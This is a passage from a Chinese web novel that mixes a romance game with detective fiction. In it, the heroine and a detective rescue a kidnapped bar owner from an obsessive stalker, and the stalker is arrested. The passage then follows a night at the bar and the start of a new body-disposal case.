一个瘦小的身
影背对着卧室门坐在床前,而床上躺着的正是李砚川,他双手被红绳绑着,头侧歪着,看上去不省人事。
这场景未免太过诡谲,祝好头皮一阵发麻:难道跟他们想的一样,郑文昊日记里所谓“永远在一起”的方法,就是要跟李砚川殉情吗?
但幸亏,郑文昊刚才说的是“马上就能在一起”,所以祝好能断定李砚川暂时没有生命危险,多半是睡着或者晕过去了。
当务之急,还是得赶紧去给程述开门。
她沿着楼梯往下走,担心会惊扰到郑文昊,特意关掉了手电筒。周遭又暗了下来,房间里微弱的烛光完全照不到楼梯上,祝好只能摸黑一点点慢慢往下挪。
她嘘着气,尽量把脚步放得很轻,但走到一半,意外还是发生了。楼梯上散落着几片玫瑰花瓣,黑暗中她一脚踩上去,脚底一滑,心也猛地收紧,下意识伸手抓住楼梯扶手,却还是没能稳住身子,一屁股坐在楼梯上。
这一下动静有点大,房间里的喃喃自语戛然而止,接着是郑文昊警惕的声音:“谁?”
祝好呼吸差点停滞,顾不上屁股传来的疼痛,也不敢回头张望,赶紧起身三两步跃下楼梯——反正都被发现了,也不在乎弄出什么声响了。
就在她跌跌撞撞奔往大门处时,只听楼上传来一声巨大的关门声——郑文昊倒是没跟上来,但是把卧室门给锁上了。
她不敢犹豫,极力稳住微微颤抖的手,摸索着打开了大门,看到早已在门口等候的程述,心里那根紧绷的弦才松下了,重重喘了几口气。
程述先是打上下打量了祝好一眼,确认她没缺胳膊少腿之后,才问:“怎么样?”
祝好言简意赅地把情况跟他说了一遍:“他们就在房间里,但是郑文昊把门给反锁了。”
程述没多言,摁亮屋里的灯后,兀自往楼上走去,祝好也赶紧揉着屁股跟上前。
一众保安交换了一下眼神,也犹犹豫豫地跟在他们身后,刚走没几步,程述突然回身抬起手,手掌朝向他们,示意他们别跟着:“郑文昊现在情绪不稳定,人太多容易刺激到他,你们都到楼下去等警察来就行。”
挤在楼梯口的几个保安显然没见过这种场面,不知该不该听他吩咐,面面相觑,又不约而同看向身后的谢经理。
谢经理也拿不定主意,纠结了一会儿,讪讪地问程述:“侦探同志,你能确保不会出事吗?”
程述翻了个白眼,往楼上抬了抬手,没好气道:“要不你上?”
谢经理愣了一下,连忙摆手:“我、我还是去给警察带路吧。”说完朝着几个保安勾了勾手,示意他们跟自己一起到楼下等着。
程述走到二楼走廊上,停在李砚川房间门口,听了下屋里的动静,然后轻轻敲了敲门。
屋里传出郑文昊的声音:“你是谁,别进来!”
程述放缓语气:“郑文昊,我们是来帮你的。”
郑文昊停顿一下,接着突然愤怒地叫喊:“我不信!没有人会帮我,所有人都只会阻碍我,你们都滚!”
在这种情况下,动之以情晓之以理显然没有任何作用。
程述试着转动门把手,门果然被锁住了,他把祝好拨到一旁,然后运气蓄力,抬腿猛地踹向门锁处。
奈何高档别墅的门质量太好,踹了两脚门锁才略微松动了些,伴随着郑文昊歇斯底里的尖叫声,他又离远几步,狠狠用背后撞向卧室门。撞到第三下时,门才终于轰然被撞开了。
这一下力道太大,一下子没收住,门开的瞬间,他也踉跄着进了房间。
祝好跟进去时,一眼就看到郑文昊一脸慌张地坐在床边,他显然也没料到程述真的能把门撞开,手里举着把明晃晃的水果刀直指门口,颤声喊道:“你们别过来,不然我就、我就……”
程述顿住脚步,站定在离他两米开外的地方,轻笑了一声:“你就什么,难道你会杀了他吗?”
郑文昊一愣,轻轻摇了摇头,突然又想到什么,猛地一回头,恶狠狠盯着程述:“我、我……我会和他一起死!我们会永远在一起!没有人能把我们分开!”
或许是动静太大,李砚川终于从昏迷中缓缓苏醒。他眯着眼看了看周围,完全没弄清眼前的状况,紧皱着眉,脸上满是迷茫,下意识想要从床上坐起来,却发现自己双手双脚都被束缚住,根本无法动弹,连嘴都被胶带封得死死的。
听到身后的动静,郑文昊转向李砚川,脸上的表情倏然变得温柔:“亲爱的,你醒了?”
李砚川一脸茫然地看着他,目光从他脸上缓缓下移,最终落在他手里拿把闪着寒光的水果刀上。他突然意识到了什么,脸上的迷茫顿时化为恐惧,在床上挣扎着,嘴里发出惊恐的“呜呜”的声音。
“别怕,是我,我不会伤害你的。”郑文昊扶着他从床上坐起来,轻轻撕下他嘴上的胶带,柔声问道:“亲爱的,你是有什么话想要告诉我吗?”
李砚川大口喘着粗气,声音发颤:“你是谁?”
郑文昊动作一滞,神情复杂地看着他:“你在跟我开玩笑吧,我们明明共度了那么多个美好的夜晚,你怎么可能不记得我?”
“共度……夜晚?”李砚川更疑惑了,他缩在床头往四周看了一眼,又把探寻的目光投向祝好:“好好,发生了什么?这不是我房间吗?你们怎么会在这儿?”
程述对祝好使了个眼色,祝好心领神会,顺着郑文昊的话往下说:“李砚川,你不认得他了吗?你再仔细看看。”
李砚川不明所以,但还是听话地打量着郑文昊,认真思索了一番后,最终还是摇了摇头:“我好像记不起来了……”
“不可能!不可能!我们明明那么相爱,你怎么可能忘记我!”
郑文昊勃然大怒,手里的水果刀突然抵在李砚川的脖子上,李砚川吓得下意识往后一仰,脑袋却重重磕在床头上,躲无可躲,脸色苍白如纸。
第57章
看到李砚川痛得倒吸凉气,郑文昊慌忙松开手里的刀,手足无措地在他的后脑勺上一顿乱摸:“对不起,我刚才不是故意吓你的,我实在太紧张了,所以才……你不会怪我的,对吗?”
李砚川已经被眼前的状况弄晕了,一脸复杂纷呈的表情,根本不知道要做出什么反应,只是下意识地扭头躲开他的手。
郑文昊动作一滞,眼中的温度顿时冷却下来:“你为什么要躲着我?你害怕我吗?”
程述看准时机,刚往前迈了一步,郑文昊立刻抬手抓起匕首指着他,如临大敌地喝道他:“你别过来!”
他立刻顿住,后退两步靠在墙上,举起双手朝他笑了一下:“好好好,我不动。”
又指了指李砚川:“不过,你亲爱的看起来好像很不舒服,要不你帮他把手上的绳子解开吧?”
郑文昊虽然神智不太清醒,但警惕性还挺高,摇头道:“不行,他不认得我了,如果我把绳子解开,他马上就会离开我的!”
他着急而认真地解释:“我们不能分开的,我们命中注定要在一起。如果他真的记不起来,我就只能……”
李砚川刚要说些什么,就被祝好打断:“没错,你们是命中注定要在一起的!而且他并没有忘记你。”
得到认可,郑文昊脸上露出惊喜的笑容,把刀指向祝好:“你,我认得你,你是他朋友吧?”
祝好紧张得心脏砰砰直跳,但还是强迫自己镇定下来,也对他笑:“是的,我们还见过两次面呢,一次是在便利店,一次是在酒吧里。李砚川跟我说过许多你们之间的事,其实每一件他都记得,只不过刚才晕过去,暂时失忆了而已。”
她边说边不动声色地给李砚川递了个眼神,示意他不要出声。
郑文昊大喜过望:“真的?他真的跟你提起过我?”
祝好点点头,语气十分诚恳:“真的,你们第一次见面是在小区里,那天下着大雨,他还给你送了把伞。”
她补充道:“是一把黑色的折叠伞,对吗?”
郑文昊也连连点头,转向李砚川:“是的,我把那把伞收得好好的,一直舍不得用。”
李砚川脑袋彻底宕机了,似
乎是想不明白为什么这一屋子的人说的话全都围绕着自己,自己却一句都听不懂。
好在他还算听话,看懂了祝好的眼神之后就没再出声,只是默默蜷缩在床头。
祝好瞥了眼正沿着墙慢慢朝床边移动的程述,继续分散郑文昊的注意力:“你还做了好多让他很感动的事情,对吧?你送他回家,帮他插花,还帮他洗了衣服,这些他都一直记着呢。”
郑文昊低着头轻轻地笑了一声:“这些都是我应该做的,不过……”
他脸上的笑容转瞬即逝,浮现出淡淡的哀伤,声音也不自觉低沉下来:“我们的定情信物——那只打火机,被我弄丢了。我不是故意的,你别怪我,好吗?”
李砚川向祝好投来求助的眼光,见祝好朝他点头示意,才颤颤巍巍地回答:“我、我不怪你……”
郑文昊如释重负地松了口气:“真的吗?”
见李砚川一副快哭出来的样子,祝好赶紧接过话:“当然是真的,而且你还帮他除掉了那些伤害他的人,不是吗?”
“对,那些人,他们都该死!”提起陈少和孙菲菲,郑文昊情绪突然激动起来,通红的双眼里几乎要喷出火苗。
李砚川闻言猛地皱起双眉,终于反应过来眼前的一切究竟是怎么回事,忍不住质问道:“陈少和那个女孩是你杀的?你为什么要这么做?”
“因为他们伤害了你啊!我是为了你才这么做的!”郑文昊的脸上涌现出复仇后的快意:“那个富二代居然把你的脸打伤了!还有那个女人,她骂我们是垃圾!简直太可恶了,他们死有余辜……”
李砚川不可置信地摇头,喃喃道:“你简直是疯了……”
“连你也觉得我疯了?”郑文昊先是一愣,目光随之变得冷冽,嘴角勾出一抹自嘲般的笑:“对啊,从小他们就觉得我不正常,反应比别人慢半拍,腿脚也有问题,从来没有人愿意跟我玩。上中学时,我鼓起勇气跟喜欢的男孩子表白,他却在讲台上把我写的情书念给全班人听,让所有人都一起嘲笑我。”
“就连工作后,宿舍里的那些人也一样,偷偷翻我的衣柜,窥探我的隐私,伤害了我之后,却说自己只是在开玩笑,还说我太斤斤计较。”郑文昊抬头看着李砚川,眼框泛红,声音低沉又沙哑,像含了把沙砾:“只有你,跟他们不同。”
李砚川目光一颤,张了张嘴,却说不出话来。
郑文昊像是在跟他说话,又像是在自言自语:“我们相遇的那天也是下着这么大的雨,当时我心情很糟糕,甚至想着要不要自我了结,可你就像救世主一样出现在我面前,送给我一把伞。你那么完美,却不会看不起卑劣、低贱的我。所以无论为你做什么,我都愿意,也不会让其他人伤害你。”
“可是你为什么会觉得我疯了?那些人难道不该死吗?我做错了吗?”他稍平复的心情眼看又有崩溃的趋势,说起话来呼哧带喘,手里的刀也不停挥舞着。
电光火石之间,程述眸光一聚,纵身飞扑到床前,一把捏住郑文昊的手腕用力一扭,只听“哐当”一声,水果刀掉落在地上。
论体型和体力,郑文昊根本不是程述的对手,还没等他反应过来就已经被摁倒在床上无法动弹,两条手臂也死死反拧在身后。
一切发生得太快,郑文昊先是一愣,随即艰难地扭头看着李砚川,嚎啕大哭起来:“为什么,为什么连你也这样对我!”
与此同时,楼下传来一阵躁动,紧接着是谢经理的声音:“警察同志,在楼上!他们在楼上!”
片刻后,秦聿风终于带着五六个警察鱼贯而入,从腰带上摘下手铐,铐住了郑文昊的双手,把他从床上拎起来。
程述长舒了口气,一只手扶着肩膀松了松关节,阴阳怪气道:“秦警官还亲自跑一趟呐?不如在警局里等着我把人送过去得了。”
秦聿风好脾气地笑了笑,解释道:“雨太大,近路都被水淹了,我们绕了好大一圈,多开了几十公里才赶过来。”
祝好从口袋里掏出程述给的那把弹簧刀,割开了李砚川手脚上的红绳。绳子刚一松开,李砚川就扑上前紧紧抱住她,全身仍止不住微微颤抖着。
祝好周身一凛,下意识缩了缩身子:虽然知道他这是受到惊吓后的反应,但这儿还有另一个可攻略对象在呢,而且当着这么多人的面,怪不好意思的。
正想着怎么样不失礼貌地推开他,耳边突然响起系统的提示音:“与李砚川的好感度+20,获得200积分。”
祝好差点没乐出声:“多少?你说多少?”
平时一次最多就只能提升5点好感度,这回一下子就提升了20!真不愧是过命的交情!
拿人手短,顾不上什么人多不多、好不好意思的,祝好把头靠在李砚川肩膀上,像哄小孩似的拍了拍他的后背,安慰道:“好了好了,没事了哈。”
一张毛巾从天而降盖在她头上,程述在一旁笑了一声,冷嘲热讽道:“小助手,你要不先擦干身上的水再抱吧?”
祝好这才后知后觉自己浑身被雨水和汗水泡得湿哒哒、黏糊糊的,赶紧轻轻推开李砚川,用毛巾胡乱擦拭着身上的水。
两个警员架着郑文昊要离开,走到房间门口时,郑文昊挣扎了一下,不管警员怎么拉扯,愣是一动不动定在原地,回过头看着李砚川。
祝好从他悲怆的目光里看到了不舍。或许他也明白,从今夜之后,他再也没有回头路。
这一眼,就是永别。
李砚川也终于从恐惧中稍缓了些,他对上郑文昊的视线,一言不发地上前,轻轻给了他一个拥抱。
郑文昊双目瞪圆,片刻后,眼眶微微湿润,低声对他说了句谢谢,顺从地跟着警员离开了。
秦聿风看着一地的蜡烛和玫瑰花瓣,还有些摸不着头脑:“到底发生了什么?”
“一言难尽。”程述也从一名警员手里接过毛巾,朝李砚川扬了扬下巴:“你问当事人吧。”
李砚川回到床上坐下,揉了揉太阳穴,回忆许久,才开口回答:“我刚从警局回到家,太累了,想着回房间洗个澡,还没来得及开灯,就突然觉得背后一阵刺痛,接着就什么都不知道了。再醒来时就……就变成这样了。”
祝好余光看到角落里有个黑色的长条物体,拾起来一看,是个电击棒。她又掀开李砚川的衣服下摆,果然看到他背上有两个灰白色的电流斑。
也就是说,郑文昊是事先藏在房间里等他回来,趁他不备用电击棒偷袭他,才布置好房间里的一切。
如果不是程述和祝好及时赶到,他就真的要跟李砚川“殉情”了。
不过他真的会对李砚川下手吗?祝好也没有答案。
毕竟如果他真的想动手,刚才其实有很多次机会,但他最终还是没有伤害李砚川分毫。
程述用毛巾擦着头发上的水,问道:“李老板,你对他真的一点印象都没有了吗?”
李砚川沉吟片刻,皱着眉答道:“我们也许在哪里见过一两次,但我没太留意,刚才听好好提到过送伞的事才想起来,我确实给小区里的一个保洁送过一把伞,但也没放在心上,没想到会让他产生那么大的误会。”
他突然想起了什么:“不过他……是怎么进来的?”
祝好意味深长地瞥了在旁边赔笑的谢经理一眼:“谢经理,他怎么进来的?”
为了公司的声誉偷偷把事情压下来,甚至没提醒过李砚川修改大门密码的谢经理心虚地咳了一声,脸色憋得通红:“那个……业主,抱歉,我们一定会彻查到底的。”
*
秦聿风交代剩余的警员留在现场搜集证据后,朝着程述一招手:“大功臣,辛苦了,今晚我亲自开车送你们回家。”
程述嗤笑了
句“这还差不多”,大剌剌地打开车门,躺在副驾驶上。
雨后天晴,天上的浊云渐渐散去,月亮悄悄地露出半张脸。车行驶在万籁俱静的深夜里,车轮碾碎了水洼中清冷的月光。
紧绷了一晚上的神经一放松,疲倦就席卷而来。祝好裹着毛巾蜷缩在后座,觉得脑袋仿佛有千斤重,整个人昏昏欲睡。
秦聿风把着方向盘,侧目看着低头摁手机的程述一眼,突然说了句:“我说老程,你最近怎么有点反常啊。”
程述头也不抬:“怎么了?”
“你的人生格言不是‘关我屁事’吗,这回怎么那么积极呢?”
程述耸了下肩膀,漫不经心道:“委托费给得够多呗,有钱能使鬼推磨,没听过么?”
“前两个月还过得人不人鬼不鬼的,连房租都懒得挣,现在怎么把钱看得那么重了?”秦聿风意味深长地笑了一声:“真的是为了钱啊?”
空调的风吹得有些冷,祝好忍不住打了个喷嚏,吸了吸鼻子,把身上的毛巾又裹紧了些。
程述不动声色地扭头瞥了她一眼,靠在座椅上伸了个懒腰,顺手把空调关掉了:“你话可真多,闭嘴好好开车吧。”
第58章
一场雨把淮江市带进了秋天,雨后初晴,午后的阳光甚好,天空一片湛蓝,但空气里已经带着丝丝冷意了。
祝好躺在阁楼里,打开控制面板,点开商城,花50积分给自己挑了几件外套。
很好,随着积分一点点增长,游戏的体验感也越来越好了,商城里的东西想买就买,剧情回顾想看就看,再也不需要像之前那样抠抠搜搜的,要花点积分还要掰手指算上半天。
祝好觉得自己还挺容易满足的。
她又查看了一下各个可攻略对象的基础资料,温珣和秦聿风的好感度都只有15,而李砚川后来者居上,好感度涨得飞快,一下子就到了30!
目前来看,李砚川应该是最容易攻略的角色了,不仅长得好看、会爆金币,就连好感度也是最高的。
最重要的是他拥有自己的酒吧,时间也相对自由些,不会像温珣和秦聿风那样一天天忙得脚不着地、永远只能在警局和案发现场见上面。
不过祝好也清楚,李砚川对自己的好感度飙升多半是因为吊桥效应,并不是真的喜欢她。
但是换个角度想,如果他再多被绑架几次,然后自己再英雄救美,那好感度岂不是很快就可以满级了?
祝好呸了自己一下,果然人一闲下来就容易胡思乱想,虽然是在游戏里,但他好歹也是个活生生的人,不能因为自己的一己私欲就这么诅咒他。
再说了,他因为受到惊吓已经在医院住了好几天了,再多来那么几次,估计要被吓掉半条命吧。
正胡思乱想,电话就响了起来,是李砚川。
真是说曹操曹操到。祝好接起电话,那头就传来李砚川满怀热情的声音:“好好!”
祝好应了一声,关切地问:“李砚川,你身体好些了吗?”
李砚川听起来心情很不错:“嗯,没什么大碍,其实我昨天就出院了,只不过一直在忙家里和店里的事,没能第一时间告诉你们。”
祝好也没计较,毕竟这一番折腾下来,他的别墅肯定免不了要重新修整一番,离开了那么多天,店里也有很多事情需要他去处理。
又寒暄了几句,李砚川终于想到了给她打电话的重点:“对了,好好,今晚你和侦探先生有空吗?我想邀请你们正式来酒吧坐坐,顺便当面感谢你们。”
祝好犹豫了一会儿,她是没什么问题,反正闲着也是闲着,但想让程述去参加这种“没有意义”的社交活动,简直难如登天。
想了想,还是先答应下来。
她掀开阁楼的门帘往客厅看去,程述正靠在沙发上看书,白眼狼一如既往趴在他身上打呼。
“老大,你饿了吗?”祝好趴在栏杆上,谄媚地笑了下:“今晚我们出去吃吧,我请客。”
程述眼睛一刻也没有离开手里的书:“你又想干什么?”
“没干什么。”祝好随口扯了个借口:“突然想吃点垃圾食品,但是自己去吃又有点无聊,所以——”
无论如何,先把他骗出门再说。
程述没有半点要进圈套的意思:“你就不能点个外卖吗?”
祝好啧了一声,语重心长道:“外面天气那么好,天天呆在家里多浪费啊。白眼狼都知道要多晒晒太阳身体才能保持健康,你一直窝在家里会长蘑菇的。”
程述觉得好笑:“我每天早上出去跑10公里的时候你都在呼呼大睡,怎么好意思对我说这种话的?”
祝好愣了下,没辙了。算了,自己去就自己去吧。
她怏怏地转身要回阁楼,程述却冷不丁“啪”一下把书合上,伸了个懒腰:“不过我正好要出去买点东西,顺便载上你吧。”
*
坐在餐厅里,程述喝了口可乐,突然问道:“对了,你那漂亮朋友怎么样了?”
本来这一顿饭祝好就吃得心不在焉,毕竟醉翁之意不在麦当当,她正谋划着待会要怎么说服程述去酒吧,没想到他主动提起了这茬,便摆出一副“哎,我差点儿忘了”的表情:“说到李砚川,他今晚请我们去他酒吧玩儿呢,不如酒顺便去一趟吧。”
程述无语:“十多公里的路程,怎么叫顺便?”
“反正都已经出门了,怎么不叫顺便?”祝好咬着薯条含含混混地说:“别忘了我们还没拿到酬劳呢。”
虽然程述没再提起过酬劳的事,但好歹是他救了李砚川的命。
她不算什么正义之士,要不是李砚川与剧情息息相关,她也会瞻前顾后、犹豫不决。可这件事说到底跟程述并没有什么关系,他帮忙是出于情分,换做别人,怕是做不到像他一样挺身而出的,况且当时郑文昊手里还拿着刀呢,多危险啊。
这委托费不拿,她都替程述觉得吃亏。
程述没说话,双手插在外衣口袋里,向后靠在椅子上。相处久了,祝好也把他的脾气摸了个大概:不开口拒绝,一般就是默认了。
隔壁桌有几个中学生模样的小姑娘嘻嘻哈哈地拿着手机自拍,但祝好看得出来她们的镜头显然是对着程述的——这种偷拍帅哥的事她熟,毕竟以前念书的时候也没少干。
程述其实条件挺好的,宽肩窄腰大高个,长得也不错,简单收拾一下精神多了,如果能把那臭脾气收一收,应该有挺多姑娘喜欢。
她轻轻用脚碰了下程述,八卦道:“哎,老大,你有什么择偶标准吗?”
程述答得漫不经心:“聪明,好看,能力强。”
真敷衍,祝好哦了一声:“那有个人挺符合的。”
“谁?”
“温主任。”
程述斜了她一眼:“滚。”
*
华灯初上,Inkstone酒吧大门的招牌又重新亮了起来,客人虽然不算多,但看起来也有回暖之势,祝好不由得从心底感到高兴,等程述停好车走过来,便迫不及待拉着他推开了酒吧大门。
李砚川正跟服务员交代着什么,看到他们进来也是满脸惊喜,赶紧把他们领到吧台前面,挑了个安静的好位置。
“你们要喝点什么,我给你们调。”
祝好惊讶:“你还会调酒?”
调酒师接过话茬:“老板当然会啦,当初还是他教的我呢。”
李砚川不好意思地笑了下:“不过我也很久没调了,可能有些手生。”
没想到程述十分不给面子,摆手拒绝:“我不喝酒,待会儿还要开车。”
李砚川说:“我帮你叫个代驾。”
“不用麻烦,给我来杯冰水就行。”
被拒绝的李砚川有些尴尬,挠了挠后脑勺,转身示意调酒师去给他打杯水。
祝好侧目看了程述一眼,心想早知道就不让他来了,之前不是一冰箱啤酒么 ,现在怎么又“我不喝酒”了。
她转头看了看一脸窘迫的李砚川,道:“李砚川,你给我调一杯酒吧。”
李砚川笑:“行,你想喝什么?”
祝好还没喝过鸡尾酒,一时也说不出个所以然,只好说:“都行,你看着来。”
李砚川转身看了看架子上的酒,回头问她:“你喜欢吃草莓吗?”
“挺喜欢的。”
“那我给你做一杯StrawberryDaiquiri。”
祝好听得一头雾水,又不想暴露自己是个啥也不懂的土鳖,便胡乱点了点头。
李砚川往捣碎的草莓里倒入白朗姆酒、糖浆和青柠汁,放在摇酒壶里摇匀后倒进提前冰好的高脚杯,再往杯沿上放上一颗新鲜草莓,推到祝好面前,满脸期待地看着她:“你尝尝。”
祝好平时不太喝酒,她举起杯子小心翼翼地抿了一口,味道酸酸甜甜,中和了大部分酒精味,比想象中的要好喝多了。
见她竖起大拇指,李砚川才如释重负地笑出来。
又闲聊了几句,他终于说到了正题上:“好好,侦探先生,这回真的太感谢你们了,我想都没想过自己会碰到这种事,要不是你们及时出现,我可能莫名其妙就没了。”
程述显然不太习惯这个称呼,纠正他:“叫我程述就行。”
接着又开始发挥自己的毒舌本质:“也不算是莫名其妙,是你自己心太大了,被人跟踪那么多回,老巢都被偷了,你居然一点儿都没察觉。”
李砚川听出了他话里的嘲讽之意,尴尬地笑了笑:“前段时间酒吧装修,实在太忙了,我回家也就是睡一觉,确实没太注意家里的变化。”
祝好也帮他说话:“就是,一个人住那么大一栋别墅,多了什么、少了什么,或者什么东西移动了一点,确实也很难察觉嘛。”
李砚川继续刚才的话题:“这回你们帮了那么大的忙,我一定要有所表示,如果程先生有什么需要,尽管开口就行,只要能做到的我一定不会推辞。”
鸡尾酒的量不多,祝好几口就喝完了,头脑微微有些发晕,听李砚川提起这茬,立马接过话:“他想要你那辆跑车。”
李砚川愣了一下:“你说车库里那辆吗?”
程述无语地瞥了她一眼:“我开玩笑的,你别当真。”
“我倒不是舍不得,不过那辆车是我妈送我的生日礼物,如果程先生真的喜欢,我可以带你去挑辆新的。”
程述抬手打断他的解释:“真不用,我住那破地方连个带顶的车库都没有,万一下个雨车就泡水了。”
李砚川坚持:“你们救了我,不可能只说句谢谢就完事的。”
程述想了想:“那你按正常的委托费付款就行……”
祝好脑袋昏昏沉沉,闻言立刻伸手捂住他的嘴:“跑车都不要了?不行不行,怕下雨,买个有顶的就行了呗。如果你就想开敞篷车也没关系,让李砚川给你买个车库好了。不对,我们那儿好像没有车库,要不我们换套房子吧,反正系统都说了他会爆金币,你别跟他客气。”
程述把她的手从自己脸上挪开,看了她半天,转头问李砚川:“这酒度数多少?”
“40度的朗姆酒。”李砚川面露窘色:“我也没想到她酒量那么差。”
程述扶着额角叹了口气:“委托费的事以后再说吧,我先把她弄回去。”
第59章
这一觉祝好睡得很不舒服,睁开眼时,酒精的作用还没有完全消退,眼前仍是一片天旋地转,太阳穴也一抽一抽地疼。
缓了足足五分钟,她才从懵懵懂懂中挤出一线清明,片段式的记忆也逐渐涌入脑海中。
她只记得自己跟程述在李砚川的酒吧里聊天,李砚川给她调了一杯酸酸甜甜的酒,脑子里最后一个印象是他们聊到了跑车,然后……
然后发生了什么?
她揉了揉酸胀的太阳穴,一点儿也想不起来了。
靠,真没用,怎么一杯酒就断片儿了。
她掀开身上胡乱盖着的毯子,发现自己身上还完完整整穿着昨天那套衣服,还好,至少没发生电视剧里演的那些酒后失德的狗血剧情。
她撑着床想要坐起身,手掌却触碰到一块滑溜溜的面料,不是床单的触感,低头一看,发现身下压着一套做工精细的裙子,紫色的丝绒材质。
嗯?这条裙子,怎么好像在哪儿见过。
她全身如同过电一般,嗷一声从床上蹦起来。
楼下传来程述的声音:“怎么了你?”
“没、没事,有只蟑螂,我已经踩死了。”
潦草应付完,她捧着那条紫色的宫廷风丝绒晚礼服,颤抖着打开控制面板,点击查看自己的资料——
姓名:祝好
体力值:100
积分:15
15?
她的积分只剩下15?
不可能,这一定是个梦。
既然是个梦,那睡醒就好了。她紧闭双眼,身子一歪,栽倒在床上。
五分钟后,她倏地重新睁开眼,再次打开控制面板,上面还是显示她只有15点积分。
完了,不是做梦。
虽然没做出什么出格的事情,但她居然用辛辛苦苦挣到的积分全换了这条华而不实的裙子,让自己一朝回到解放前。
祝好悲从中来,有一种攒了大半辈子的积蓄一夜之间被人骗光的感觉,万念俱灰地倒在地板上,把脸埋进那件宫廷风丝绒连衣裙里,眼泪刚要流下来,又被她硬生生憋回去了——不行,不能哭,这条裙子换算下来要5000块呢,弄脏了怎么办?
清晨的阳光从敞开的天窗透进阁楼里,均匀地撒在床上、地板上和祝好身上,但她却感受不到一丝温暖,整个人如同被浸泡在冰冷又悲伤的深海里。
这种人生致暗的时刻,想要流两滴眼泪发泄一下还不舍得弄脏那么贵的衣服,世界上应该没有比这更悲惨的事了。
难过了会儿,她似乎察觉到有哪里不对劲,赶紧爬起来找纸笔,用不太清醒的头脑做起了计算题。
上一回查看面板时,她还有615积分,后来为了查明郑文昊的身份,使用了150积分查看了三段剧情回顾、50积分兑换了一次魅力值,又花50积分换了几件秋装;而李砚川的20点好感度加上剧情奖励一共是350积分,也就是说,她本来一共有715积分。
就算喝醉后用500积分换了这条裙子,应该还剩下215积分才对,为什么资料却显示她只有15点积分?
祝好赶紧唤出系统:“你们是不是出bug了?”
系统回答:“暂时没有检查到bug,宿主。”
不可能!没有bug,她的200积分上哪儿去了?
看她一副抓狂的模样,系统小心翼翼地询问:“需要查询积分的使用情况吗?”
还有这个功能?祝好顿了一下,选择了“是”。
片刻后,系统弹出对话框:“这边查询到您过去24小时内,兑换了‘紫色高级丝绒礼服’一件,以及‘粉色毛绒手铐’一对,共消耗700积分。”
如同一盆冷水当头浇下,祝好身子一僵,登时汗如雨下,恨不得穿越回昨天晚上扇自己一耳光:祝好,你是不是有病啊!好端端的喝什么酒!
晚礼服就算了,但……粉红色毛绒手铐?她兑换那玩意儿干啥!
更重要的问题是,那对手铐在哪儿?
她转动脑袋环顾四周,狭小的阁楼里除了一张床、两个书架和一个简易的衣柜外,就没有其他东西了。她起身在衣柜和床底翻找片刻,还是一无所获。
奇怪,难道是被她扔在酒吧里、车上或者某个不为人知的角落了?
系统贴心地提醒她:“宿主,您可以使用剧情回顾查看一下。”
这破系统是纯心来气她的吧?明知道她只剩下15点积分,什么功能都使用不了。
她忍不住捶了下床,长长地哀叹一声。
隔着一层楼板,她隐约听到程述的手机铃声响了。片刻后,地板又一次传来“笃笃”声:“小助手,醒了就下来洗漱,来活儿了。”
祝好敷衍地应了一声,把那条丝绒礼服叠整齐,小心翼翼地塞进衣柜里,又找了套干净衣服换上,怏怏地下了楼。
*
这一趟开得有点远,车子几乎穿过了大半个淮江市。一路上祝好都心不在焉的,再回过神时,
路边的景致不知何时已经从鳞次栉比的高楼大厦,变成了成片的灌木丛。
看样子,这回要去的是城郊。
算了,先别管什么粉红色毛绒手铐了,新的剧情开始了,还是破案要紧。
她转头问程述:“老大,这次又是什么案子?”
“听老秦说,应该是个抛尸案。”
看她一直在揉太阳穴,程述从储物箱里拿了瓶矿泉水扔给她,嗤笑一声:“你酒量不好就别学人家喝酒了,才一杯就醉成这样子。醉也就算了,酒品还差。”
酒品差?祝好一愣,有些紧张:“我……我干什么了?”
程述挑起一边眉毛,侧目看了她一眼,嘴角勾起意味深长的笑:“没事,不记得就算了。”
祝好心底一咯噔,总觉得他话里有话,刚想继续追问,就听他说了句“到了”。
顺着他的目光看去,前面是座旧桥,路面坑坑洼洼的,路边也是杂草丛生,看起来有些年头没修过了。
这个地方离市区有近五十公里,十分荒凉。桥下是条河,河提上是一片连绵不绝的芦苇丛。许是刚下完雨,湍急的水流咆哮着奔流向前。
这么一看,这儿确实是个抛尸的好地方。
桥边已经停了五六辆警车,红蓝交替的警灯急促地闪烁着。痕检员的闪光灯不停闪烁,技侦也在忙着搜集现场物证。
程述把车停在警车后面,下了车径直往拉起警戒线的河堤走去。
河堤上的碎石有些湿滑,他穿着一双登山靴在前面走得飞快,祝好的帆布鞋鞋底没什么摩擦力,冷不丁踩到一块松动的石头,脚底一滑,顿时失去平衡。
眼看整个人就要向后倒去,腰间突然有股力量将她稳稳扶住,借力站稳后,才发现是不知何时出现在她身后的秦聿风。
秦聿风把太阳镜推到额头上,对她笑了笑:“当心点。”
祝好抚着胸口松了口气,也抱以一笑:“谢谢。”
秦聿风说了句“没事”,领着她往案发现场走。
为了配合她的步伐,他的步子迈得很小,走了几步抬头眯眼看了看刺眼的阳光,把太阳镜架回鼻梁上,过了一会儿又取下挂在领口,不时低头扯一下外套的衣角,捂着嘴轻咳了一声,几次偷偷瞥向祝好。
祝好余光把他这百八十个欲盖弥彰的小动作尽收眼底,猜到他应该是有什么话想说,但又不好意思说出口,便主动询问:“怎么了吗?秦警官。”
秦聿风本来还在做心理建设,突然被她这么一cue,还愣了一下才不好意思地挠了挠脑袋:“也没什么,就是……上回在警局我的态度不是很好,你不要放在心上。”
顿了一下,又接着解释:“短时间发生两起杀人案,指向性太明显,我脑子一下子没转过来,有些钻牛角尖了,误会了你朋友,还对你说了重话,实在是抱歉。”
听到这里,祝好才堪堪反应过来他说的是不让自己参与李砚川那件案子的事,忍不住“噗嗤”笑出来。
都过去那么久了,他居然还惦记着呢。况且那本来也不是他的错,毕竟对一切可疑的人或事物持怀疑态度是警察的本能。
她宽慰道:“没关系,秦警官,你不提我都快忘了这茬了。”
“真的?”
“真的,你也别总是把这种小事放在心上。”祝好抬手指了指前面的程述:“你看看老大,脸皮厚得跟铜墙铁壁似的,坚信自己永远是对的,这点你得跟他学学。”
想了想,又补充道:“当然了,普通人能做到他的百分之三十就不错了,毕竟世界上脸皮像他那么厚的人少之又少。”
说完两人对视一眼,不约而同地捂嘴笑了起来。
笑了一阵,秦聿风如释重负:“那就好,不过改天我还是要请你吃个饭。”
祝好本想婉拒,但一想到自己现在的积分约等于0,能争取到多一些相处的机会也是好的,便点头答应了。
*
尸体和抛尸用的黑色行李箱已经被转移到了平坦的空地上,温珣和两个法医助理正蹲在一旁进行初步尸检。
